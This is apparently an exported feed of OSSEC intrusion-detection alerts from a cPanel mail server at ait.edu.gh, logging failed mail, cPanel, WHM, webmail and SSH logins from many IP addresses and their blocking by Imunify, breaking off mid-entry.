name: Imunify PAM. The IP has been locked by RBL
abuser: 120.133.17.20
description:
Jan 26 18:58:12 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.133.17.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
description:
2025-01-26 18:58:36 dovecot_login authenticator failed for ([116.113.254.26]) [116.113.254.26]:56452: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.154.83
description:
Jan 26 18:58:52 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.154.83 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.227.147.94
description:
Jan 26 18:58:05 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.227.147.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.154.83
description:
2025-01-26 18:58:54 dovecot_login authenticator failed for (m121-202-154-83.smartone.com) [121.202.154.83]:37342: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.113.254.26
description:
Jan 26 18:58:34 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.113.254.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.155.79
description:
2025-01-26 18:59:16 dovecot_plain authenticator failed for (m121-202-155-79.smartone.com) [121.202.155.79]:29574: 535 Incorrect authentication data (set_id=ads17b00155y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.18.126.17
description:
2025-01-26 18:59:05 dovecot_plain authenticator failed for 17.red-88-18-126.staticip.rima-tde.net [88.18.126.17]:42286: 535 Incorrect authentication data (set_id=ads17b00155y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.222.70.61
description:
2025-01-26 18:59:34 dovecot_plain authenticator failed for ([210.222.70.61]) [210.222.70.61]:60713: 535 Incorrect authentication data (set_id=eng29b00328y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.155.79
description:
Jan 26 18:59:14 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.155.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.213.57.49
description:
2025-01-26 18:59:51 dovecot_plain authenticator failed for ([182.213.57.49]) [182.213.57.49]:38699: 535 Incorrect authentication data (set_id=eng29b00328y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.18.126.17
description:
Jan 26 18:59:03 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.18.126.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.222.70.61
description:
Jan 26 18:59:32 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.222.70.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.213.57.49
description:
Jan 26 18:59:49 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.213.57.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 26 19:00:24 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.125.90
description:
[2025-01-26 19:00:11 +0100] info [cpaneld] 156.228.125.90 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ait (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.39.149
description:
[2025-01-26 19:00:12 +0100] info [cpaneld] 104.207.39.149 - ads23b00195y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ads23b00195y (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.60.46
description:
[2025-01-26 19:00:15 +0100] info [whostmgrd] 104.207.60.46 - ads23b00195y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.58.172
description:
[2025-01-26 19:00:14 +0100] info [whostmgrd] 104.207.58.172 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.234.48.147
description:
Jan 26 19:00:59 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.234.48.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.97.17.208
description:
2025-01-26 19:01:00 dovecot_login authenticator failed for ([61.97.17.208]) [61.97.17.208]:56108: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13008
name: Mail Reciepient rejected
abuser: 165.154.208.70
description:
2025-01-26 19:00:06 H=(mail.aitsmartschool.com) [165.154.208.70]:59376 F=<tfoiy@aitsmartschool.com> rejected RCPT <validxxxg@gmail.com>: Rejected relay attempt: '165.154.208.70' From: 'tfoiy@aitsmartschool.com' To: 'validxxxg@gmail.com'


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.58.248
description:
[2025-01-26 19:00:12 +0100] info [cpaneld] 104.207.58.248 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aitedugh (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.111.10
description:
[2025-01-26 19:00:12 +0100] info [cpaneld] 156.228.111.10 - ads23b00195y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ads23b00195y (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.234.48.147
description:
2025-01-26 19:01:01 dovecot_login authenticator failed for ([221.234.48.147]) [221.234.48.147]:37399: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.94.127
description:
[2025-01-26 19:00:08 +0100] info [cpaneld] 156.228.94.127 - ads23b00195y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ads23b00195y (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.95.130
description:
[2025-01-26 19:00:13 +0100] info [whostmgrd] 156.228.95.130 - ads23b00195y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.97.17.208
description:
Jan 26 19:00:58 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.97.17.208 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 83.171.206.112
description:
[2025-01-26 19:00:25 +0100] info [webmaild] 83.171.206.112 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.138.165.139
description:
[2025-01-26 19:00:42 +0100] info [webmaild] 103.138.165.139 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.46.83
description:
[2025-01-26 19:00:13 +0100] info [whostmgrd] 104.207.46.83 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.83.235
description:
[2025-01-26 19:00:14 +0100] info [whostmgrd] 156.228.83.235 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.113.232
description:
[2025-01-26 19:00:16 +0100] info [whostmgrd] 156.228.113.232 - ads23b00195y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.48.151.136
description:
Jan 26 19:02:03 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.48.151.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.77.245.227
description:
Jan 26 19:01:13 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.77.245.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.245.227
description:
2025-01-26 19:01:15 dovecot_login authenticator failed for ([220.77.245.227]) [220.77.245.227]:45894: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.230.165.58
description:
Jan 26 19:01:54 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.230.165.58 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.187.43.122
description:
[2025-01-26 19:02:03 +0100] info [webmaild] 191.187.43.122 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.10.20
description:
2025-01-26 19:01:30 dovecot_login authenticator failed for ([221.10.10.20]) [221.10.10.20]:46785: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.51.214.170
description:
2025-01-26 19:01:39 dovecot_login authenticator failed for (pppoe-static.mosoblast.rt.ru) [77.51.214.170]:49009: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.155.34
description:
2025-01-26 19:01:52 dovecot_login authenticator failed for (m121-202-155-34.smartone.com) [121.202.155.34]:52509: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.228.237.90
description:
Jan 26 19:01:58 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.228.237.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.10.10.20
description:
Jan 26 19:01:28 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.10.10.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.51.214.170
description:
Jan 26 19:01:37 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.51.214.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
description:
2025-01-26 19:01:40 dovecot_plain authenticator failed for ([218.149.235.152]) [218.149.235.152]:39304: 535 Incorrect authentication data (set_id=ug88m8880009@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
description:
2025-01-26 19:02:00 dovecot_login authenticator failed for ([221.228.237.90]) [221.228.237.90]:15850: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.230.165.58
description:
2025-01-26 19:01:56 dovecot_plain authenticator failed for ([183.230.165.58]) [183.230.165.58]:44776: 535 Incorrect authentication data (set_id=ug88m8880009)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.166.253.226
description:
Jan 26 19:01:59 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.166.253.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.166.253.226
description:
2025-01-26 19:02:01 dovecot_login authenticator failed for (abts-kk-static-226.253.166.122.airtelbroadband.in) [122.166.253.226]:54506: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 26 19:01:10 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.235.152
description:
Jan 26 19:01:38 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.235.152 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.155.34
description:
Jan 26 19:01:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.155.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.239.202
description:
Jan 26 19:02:40 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.239.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.46.45.121
description:
2025-01-26 19:03:01 dovecot_plain authenticator failed for ([20.46.45.121]) [20.46.45.121]:53604: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.48.151.136
description:
2025-01-26 19:02:05 dovecot_plain authenticator failed for 136.151.48.116.static.netvigator.com [116.48.151.136]:58401: 535 Incorrect authentication data (set_id=mawunyo@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.227.206.42
description:
Jan 26 19:02:20 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.227.206.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.80.46.250
description:
2025-01-26 19:02:31 dovecot_plain authenticator failed for ([189.80.46.250]) [189.80.46.250]:37245: 535 Incorrect authentication data (set_id=ads88a00088y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 20.46.45.121
description:
Jan 26 19:02:59 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 20.46.45.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.251.197.46
description:
Jan 26 19:02:13 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.251.197.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.40.155
description:
2025-01-26 19:02:14 dovecot_login authenticator failed for ([60.174.40.155]) [60.174.40.155]:46028: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.80.46.250
description:
Jan 26 19:02:29 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.80.46.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.247.239.202
description:
2025-01-26 19:02:42 dovecot_plain authenticator failed for ([117.247.239.202]) [117.247.239.202]:36516: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.139.150.2
description:
Jan 26 19:02:49 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.139.150.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 26 19:02:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.210.105.142
description:
2025-01-26 19:02:55 dovecot_login authenticator failed for 95-210-105-142.ip.skylogicnet.com [95.210.105.142]:54780: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.32.162.136
description:
Jan 26 19:02:56 ait sshd[2398945]: pam_imunify(sshd:auth): [IM360_RBL] The IP 193.32.162.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.4.214.115
description:
Jan 26 19:02:15 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.4.214.115 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.40.227.138
description:
[2025-01-26 19:02:24 +0100] info [webmaild] 177.40.227.138 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.4.214.115
description:
2025-01-26 19:02:17 dovecot_login authenticator failed for ([218.4.214.115]) [218.4.214.115]:59189: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.227.206.42
description:
2025-01-26 19:02:22 dovecot_plain authenticator failed for ([122.227.206.42]) [122.227.206.42]:50756: 535 Incorrect authentication data (set_id=mawunyo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.139.150.2
description:
2025-01-26 19:02:51 dovecot_plain authenticator failed for 2.sub-166-139-150.myvzw.com [166.139.150.2]:56473: 535 Incorrect authentication data (set_id=ads88a00088y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.210.105.142
description:
Jan 26 19:02:53 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.210.105.142 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 193.32.162.136
description:
Jan 26 19:02:56 ait sshd[2398945]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=193.32.162.136


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.174.40.155
description:
Jan 26 19:02:12 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.174.40.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.251.197.46
description:
2025-01-26 19:02:15 dovecot_login authenticator failed for ([101.251.197.46]) [101.251.197.46]:33910: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.209.173.203
description:
2025-01-26 19:04:01 dovecot_login authenticator failed for (203.173.209.139.adsl-pool.jlccptt.net.cn) [139.209.173.203]:55092: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 5.153.183.85
description:
[2025-01-26 19:04:02 +0100] info [webmaild] 5.153.183.85 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.85.251.188
description:
Jan 26 19:03:44 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.85.251.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.85.251.188
description:
2025-01-26 19:03:46 dovecot_login authenticator failed for ([115.85.251.188]) [115.85.251.188]:56566: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 146.190.50.206
description:
Jan 26 19:03:16 ait sshd[2399023]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=146.190.50.206


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.209.173.203
description:
Jan 26 19:03:59 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.209.173.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.50.206
description:
Jan 26 19:03:16 ait sshd[2399023]: pam_imunify(sshd:auth): [IM360_RBL] The IP 146.190.50.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.102.51.218
description:
2025-01-26 19:04:57 dovecot_login authenticator failed for ([94.102.51.218]) [94.102.51.218]:25260: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.91.129.195
description:
Jan 26 19:04:15 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 198.91.129.195 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.242.165.148
description:
Jan 26 19:04:17 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.242.165.148 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.230.100.252
description:
2025-01-26 19:04:38 dovecot_login authenticator failed for ([38.230.100.252]) [38.230.100.252]:58299: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.239.231.61
description:
2025-01-26 19:04:51 dovecot_login authenticator failed for ([222.239.231.61]) [222.239.231.61]:36281: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.33.116
description:
[2025-01-26 19:04:40 +0100] info [whostmgrd] 104.207.33.116 - ads20b00337y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.104.229
description:
[2025-01-26 19:04:34 +0100] info [cpaneld] 156.228.104.229 - ads20b00337y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ads20b00337y (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 154.214.1.13
description:
[2025-01-26 19:04:38 +0100] info [whostmgrd] 154.214.1.13 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.125.14.122
description:
2025-01-26 19:04:18 dovecot_plain authenticator failed for (r200-125-14-122.ae-static.anteldata.net.uy) [200.125.14.122]:43788: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.134.126.162
description:
2025-01-26 19:04:28 dovecot_plain authenticator failed for c-73-134-126-162.hsd1.md.comcast.net [73.134.126.162]:4122: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.87.104
description:
[2025-01-26 19:04:33 +0100] info [cpaneld] 156.228.87.104 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aitedugh (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.125.195
description:
[2025-01-26 19:04:36 +0100] info [whostmgrd] 156.228.125.195 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.91.129.195
description:
2025-01-26 19:04:17 dovecot_plain authenticator failed for 198-91-129-195.cpe.distributel.net [198.91.129.195]:45898: 535 Incorrect authentication data (set_id=ads20a00163y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.242.165.148
description:
2025-01-26 19:04:19 dovecot_plain authenticator failed for ([1.242.165.148]) [1.242.165.148]:38410: 535 Incorrect authentication data (set_id=ads20b00337y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.189.226.81
description:
2025-01-26 19:04:57 dovecot_plain authenticator failed for ([121.189.226.81]) [121.189.226.81]:36868: 535 Incorrect authentication data (set_id=ads21a00012y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.125.14.122
description:
Jan 26 19:04:16 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.125.14.122 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.78.249
description:
[2025-01-26 19:04:32 +0100] info [cpaneld] 156.228.78.249 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ait (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.169.112.210
description:
2025-01-26 19:04:34 dovecot_plain authenticator failed for ([61.169.112.210]) [61.169.112.210]:47504: 535 Incorrect authentication data (set_id=ads20b00337y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.148.199.165
description:
2025-01-26 19:04:47 dovecot_login authenticator failed for 165.199.148.122.sta.wbroadband.net.au [122.148.199.165]:39095: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.189.226.81
description:
Jan 26 19:04:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.189.226.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.31.6.109
description:
Jan 26 19:04:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.31.6.109 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.38.50
description:
[2025-01-26 19:04:40 +0100] info [whostmgrd] 104.207.38.50 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.107.234
description:
[2025-01-26 19:04:41 +0100] info [whostmgrd] 156.228.107.234 - ads20b00337y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.180.141.182
description:
[2025-01-26 19:04:39 +0100] info [webmaild] 45.180.141.182 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.148.199.165
description:
Jan 26 19:04:45 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.148.199.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.102.51.218
description:
Jan 26 19:04:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.102.51.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.61.79
description:
[2025-01-26 19:04:30 +0100] info [cpaneld] 104.207.61.79 - ads20b00337y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ads20b00337y (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.169.112.210
description:
Jan 26 19:04:32 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.169.112.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.230.100.252
description:
Jan 26 19:04:36 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.230.100.252 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.111.125
description:
[2025-01-26 19:04:37 +0100] info [whostmgrd] 156.228.111.125 - ads20b00337y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.239.231.61
description:
Jan 26 19:04:49 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.239.231.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.31.6.109
description:
2025-01-26 19:04:09 dovecot_plain authenticator failed for 95-31-6-109.static.corbina.ru [95.31.6.109]:58232: 535 Incorrect authentication data (set_id=ads20a00163y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.134.126.162
description:
Jan 26 19:04:26 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.134.126.162 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.54.90
description:
